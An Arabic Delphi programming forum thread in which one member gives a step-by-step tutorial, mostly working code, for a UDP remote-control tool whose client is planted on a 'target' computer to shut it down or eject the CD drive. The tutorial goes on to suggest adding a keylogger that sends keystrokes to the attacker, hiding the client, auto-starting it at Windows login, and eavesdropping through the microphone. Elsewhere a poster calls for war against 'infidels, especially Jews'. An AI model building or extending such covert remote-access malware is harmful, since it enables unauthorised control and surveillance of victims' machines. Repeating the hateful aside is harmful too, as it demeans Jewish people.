موضوع دلفي ..مرحبا أخ فاي لطف .. الرجاء الدخول ...

بسم الله الرحمن الرحيم

أخي العزيز : في الحقيقة أنا لست قوياً بالديلفي للحد الكافي الذي يمكّنني من صنع هكذا برنامج فأين أنا منك ومن الأساتذة في هذا المجال مثل ( Sum – tmaaa وغيرهم الكثير ) ولكني أحاول كل ما بوسعي لأن أتعلم صنع مثل هذه البرامج وغيرها عسى أن أستطيع الوصول إلى المستوى الجيد بمساعدة الأصدقاء في هذا المنتدى وإذا كان بإمكاني أن أساعدك أو أي أحد من الأصدقاء فإن هذا يشرفني .

وأرجو منك التكرم بأن تكتب لي طريقة صنع ما ذكرته سابقاً من إطفاء البرامج وإطفاء الشاشة وغيرها ........

وشكراً لك أخي العزيز

فادي

السلام عليكم

اولا عودة مبارك لك اخي العزيز الى ها المنتدى كما اننا بحاجة اليكم جميعا

الاستاد sum الاخ madi وانت والكل ....الكل افادنا الله بعلمكم

اتوقع منك دخول قوي فلا تخيب ظني

كما اشارك الحرب ضد الكفار وخاصتا اليهود وابد بالدعاء

اللهم انصر اخواننا في فلسطين

السلام

دائما معكم

اما عن غيابي فهو لاجلي ولكم ايضا لاني ابحث عن كيفية استعمال websnap ان شاء الله اصل الى نتيجة

السلام عليكم

اتمنى ان يكون الجميع بخير , و ما أحد زعلان مني :)

أخي العزيز فادي

نحن كلنا سواسيه , لسنا اساتذه ولا شئ من هذا القبيل ( بس انا عملت مدرس للمرحلة الابتدائيه لمدة سنه واحدة :D :D :D ) .

ربما نكون فقط قد حصلنا على كود او شرح في هذا المجال قبلك ليس إلا .

على العموم حيث ان مثل هذه المواضيع كثر نشرها في العديد من المواقع في الانترنت ( بذل القليل من الجهد يمكن الحصول على الكثير من الـ source code في هذا المجال ) فلا مانع من كتابة فكرة بسيطة لعمل مثل هكذا برنامج .

هنا سنستخدم TNMUDP الموجود ضمن FastNet

لنبدأ :

***********

1) علينا اولا بتكوين Project Group ( برنامجنا سيحتوي على 2 projects احدهما Server نضعه في الجهاز المتحكم و الآخر Client يوضع في الجهاز المستهدف ) .

- لانشاء Project Group :

FileNew ثم نختار Project Group الموجودة ضمن الصفحة new في

New Items Dialog

-----

2) ننشئ new application : في الـ project manager اضغط على new و اختر application من الـ New Items Dialog الذي ظهر . احفظ الـ application باسم client .

-----

3) ننشئnew application بالطريقة السابقة ونحفظة باسم server .

-----

4) اعداد server application :

لابد من جعل server application (منشط )active لاجراء الاعدادات له . اختر server application في project manager ثم اضغط activate .

- اضف TNMUDP و قم بالتغييرات الاتيه :

name : SUDP

LocalPort : 2222 ( يمكن اختيار قيمة اخرى مع مراعاة ان القيمة المختارة لا تتعارض مع برامج اخرى ).

RemotPort:1111 ( نفس الملحوظة السابقة ) .

- اضف التصريح الاتي للدوال في قسم private

 procedure winexit(var msg:TMessage);message WM_QUERYENDSESSION;
procedure command(ReqCodeStr:String);

الدالة السابقة winexit تقوم بمعالجة WM_QUERYENDSESSION . راجع SDK help .

- الكود الخاصة بالدالة :

procedure TForm1.winexit(var msg:TMessage);
begin
 msg.Result:=1;
 application.ProcessMessages;
 application.Terminate;
end;

-بعد implementation اضف ما ياتي :

 const Bufsize=2048;
 var
  RsltStream,TmpStream:TMemoryStream;

- كود OnCreate Event يصبح كما يلي

procedure TForm2.FormCreate(Sender: TObject);
begin
// Create Memory stream :  RsltStream &  TmpStream
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;

- كود OnDestroy Event يصبح كما يلي

procedure TForm2.FormDestroy(Sender: TObject);
begin
// Free Memory stream
RsltStream.Free;
TmpStream.Free;
end;

- أضف3 buttons و 1 Edit

اضف الكود الاتي

// دالة لارسال الامر المراد تنفيذه في الكمبيوتر المستهدف
procedure TForm1.command(ReqCodeStr:String);
var
ReqCode:array[0..29]of char;
//ReqCodeStr:String;
begin
 //ReqCodeStr:=com;
 StrpCopy(ReqCode,ReqCodeStr);
 TmpStream.Clear;
 RsltStream.Clear;
  // Target computer IP address
 SUDP.RemoteHost:.Edit1.Text;
 SUDP.SendBuffer(ReqCode,30);
end;

- في الكود الخاص بـ OnClick للـــ button1 اكتب مايلي

command('shutdn');

-في الكود الخاص بـ OnClick للـــ button2 اكتب مايلي

command('opencd');

-في الكود الخاص بـ OnClick للـــ button2 اكتب مايلي

command('closecd');

-----

5) اعداد client application :

لابد من جعل client application active (منشط ) لاجراء الاعدادات له . اختر client application في project manager ثم اضغط activate .

- اضف TNMUDP و قم بالتغييرات الاتيه :

name : CUDP

LocalPort : 1111 ( يمكن اختيار قيمة اخرى مع مراعاة ان القيمة المختارة لا تتعارض مع برامج اخرى ).

RemotPort:2222 ( نفس الملحوظة السابقة ) .

- اضف تصريح الدالة الاتيه في قسم private

 procedure winexit(var msg:TMessage);message WM_QUERYENDSESSION;

الدالة السابقة تقوم بمعالجة WM_QUERYENDSESSION .

- الكود الخاصة بالدالة :

procedure TForm1.winexit(var msg:TMessage);
begin
 msg.Result:=1;
 application.ProcessMessages;
 application.Terminate;
end;

- في المكان المخصص لكود OnDataReceived Event

procedure TForm1.CUDPDataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..250]of char;
begin
// add what you want to do here
// اغلاق الجهاز . هذا الكود فقط يعمل على win9x 
//بالنسبة لـ winnt,win2k winxp فلا بد من وجود الصلاحية او الحق (privilege )بهذا العمل .
// الكود نشر في احد المواضيع السابقة في المنتدى يمكن استخدامه هنا . 
  CUDP.ReadBuffer(CtrlCode,NumberBytes);
  if(CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+
        CtrlCode[4]+CtrlCode[5]='shutdn')then
      ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF,1);
// Open CD-Rom
  if(CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+
        CtrlCode[4]+CtrlCode[5]='opencd')then
     mciSendString('Set cdaudio door open',nil,0,handle);
// Close CD-Rom 
 if(CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+
        CtrlCode[4]+CtrlCode[5]+CtrlCode[6]='closecd')then
     mciSendString('Set cdaudio door closed',nil,0,handle);
end;

---------

بعد عمل compile عليك بوضع client application في الجهاز المستهدف ( هذه العملية تعتمد عليك وهي اهم نقطة ) , في server application عليك بكتابة الــ ip الخاص بالجهاز المستهدف ( عليك بعمل طريقة ما لمعرفة رقم ال ip ).

لتجربة البرنامج قم بتشغيل server & client application على الجهاز الخاص بك , وفي المكان الخاص بالـ IP اكتب 127.0.0.1 , ثم قم بالتجربة ....

باضافة ما تعرف من اوامر و دوال يمكن تطوير هذا المثال . اطلع على ما يتعلق بـ TNMUDP في Delphi help ..

مثلا ان كنت تريد الحصول على كل ما يتم ادخاله من الـ Keyboard في الجهاز المستخدم عليك باستخدام الـ Keyboard hook في برنامج client على ان تقوم بارسال الـ data المدخلة الى الـ server او الى الايميل الخاص بك أو ..........

طبعا لابد من اضافة العديد من المميزات الى البرنامج

مثلا برنامج الـ client يجب ان يكون مخفيا ذا حجم صغير , يعمل عند الدخول الى الـ windows ..........

طبعا هناك طرق اخرى لعمل مثل هذه البرامج ....

ان كان هناك خطأ في المكتوب سابقا ارجو اخباري ...

في أمان الله

بسم الله الرحمن الرحيم

أولاً : ما أحد زعلان منك أخي العزيز

ثانياً: شكراً لك على هذه المساهمة الجميلة ، لقد قمت بتجربة هذا المثال ولكن وضع لي خطأ على الكلمة (mciSendString ) التي تخرج وتدخل السواقة الليزرية فكيف أتجاوز هذا الخطأ

وشكرا لك أخي العزيز

فادي

السلام عليكم

المعذرة اخوي نسيت ان اذكر انه لا بد من اضافة mmsystem في قسم uses . الدالة mciSendString مصرح بها هناك .

على فكرة يمكن ان تتطلع على الامثلة الموجودة في

http://www.planet-source-code.com/vb/defau...lt.asp?lngWId=7

هناك تجد العديد من البرامج (source code ) في العديد من المجالات internet ,multimedia,system ,.....

اضافة :

* كنت قد قرأت في احد المواضيع في قسم الحماية عن برنامج يمكن فيه - ان كان الـ mic مفتوح - التصنت الى ما يدور من حديث عند الكمبيوتر المستهدف . راجع موضوع voice chating المنشور هنا في قسم الدلفي و باستخدام نفس الفكرة يمكن عمل هذه الميزة .

-بصورة عامة اي تقنية يمكن استعمالها في المجال الحسن او السئ ...

- اضافة اخرى:

نسيت أن أقول إن لم تسجل او لم تكن تريد التسجيل في http://www.planet-source-code.com

فانك بعد انزال عدد محدود (3-5 مرات تقرييا )من الـ source code سيطلب منك التسجيل ويمكن لك تجاوز هذا العائق بمسح الـ cookies الخاصة بالصفحة ويمكنك بعد ذلك معاودة التنزيل , او سجل عندهم و ريح حالك .

في أمان الله

شكراً لك أخي العزيز tmaaa على هذا الموقع الرائع